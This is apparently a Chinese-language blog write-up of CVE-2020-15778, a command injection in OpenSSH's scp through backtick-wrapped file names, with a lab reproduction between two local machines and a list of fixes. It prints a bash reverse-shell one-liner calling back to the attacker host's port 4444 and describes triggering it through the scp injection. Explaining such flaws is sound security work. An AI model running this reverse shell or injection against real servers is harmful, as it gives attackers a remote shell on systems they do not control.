OpenSSH命令注入漏洞的示例分析

发布时间:2021-12-30 16:36:04 作者:小新
来源:亿速云 阅读:187

这篇文章主要介绍OpenSSH命令注入漏洞的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

漏洞说明

漏洞编号:CVE-2020-15778

SCP(secure copy)是一个在两台计算机之间拷贝文件的程序,使用ssh协议实现。默认包含在大多数的linux和unix发行版中。该程序由openssh的scp.c及其他相关代码实现。

出现漏洞的根本原因在于,scp.c文件的某个位置中,对远程命令参数没有做好过滤,导致可远程执行任意命令。详细分析,往下看。

利用条件

1. 目标服务器openssh版本<=openssh-8.3 p1

2. 目标服务器scp可用

3. 目标服务器ssh密码已知

漏洞危害

可在目标服务器上传脚本,执行任意命令,getshell。

利用场景

在已知ssh密码,但禁止ssh远程登陆的情况下,可尝试利用该漏洞,getshell。

漏洞分析

分析如下链接中,scp.c的第989行代码:

https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989

OpenSSH命令注入漏洞的示例分析

从以上代码中可知,当使用scp复制文件到远程服务器时,在scp命令后面添加文件的路径,命令如下:

scp SourceFile user@host:directory/TargetFile

在远程目标服务器上,上述命令将会按照下面的形式本地执行:

scp -t directory/TargetFile

在目标服务器创建本地scp命令的同时,并没有过滤文件名。攻击者可以使用反引号包裹payload然后加上文件名执行scp命令。目标服务器将会执行反引号中的命令。

漏洞复现

攻击机 kali192.168.110.128
受害机centos192.168.110.130

在kali上创建一个名为kali.sh的文件,用来getshell。kali.sh文件内容:

bash -i >& /dev/tcp/192.168.110.128/4444 0>&1

OpenSSH命令注入漏洞的示例分析

反弹shell命令解析如下:

命令 说明
bash -i产生一个交互式bash
>& /dev/tcp/192.168.110.128/4444建立TCP连接,并将标准输出和错误重定向到TCP连接
0>&1从TCP连接获取输入

将kali.sh文件通过scp命令,远程传输到centos中的指定目录下:

OpenSSH命令注入漏洞的示例分析

在centos中可找到传输的kali.sh文件:

OpenSSH命令注入漏洞的示例分析

在kali上监听4444端口:

OpenSSH命令注入漏洞的示例分析

执行下面的poc,执行上传的反弹shell:

OpenSSH命令注入漏洞的示例分析

可观察到,kali已经成功连接到centos:

OpenSSH命令注入漏洞的示例分析

在linux中,反引号中的内容将会被当作shell命令执行。要注意,这里poc中用的是反引号,不是单引号。

漏洞修复

1. 更新openssh到最新版本

2. 禁用scp

3. 确保ssh密码的安全性,防止被泄露或暴力破解

以上是“OpenSSH命令注入漏洞的示例分析”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注亿速云行业资讯频道!

推荐阅读:
  1. SQL注入漏洞过程的示例分析
  2. php命令注入攻击的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

openssh

上一篇:IBM小型机维护的知识点有哪些

下一篇:rhel5下如何实现批量杀进程

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》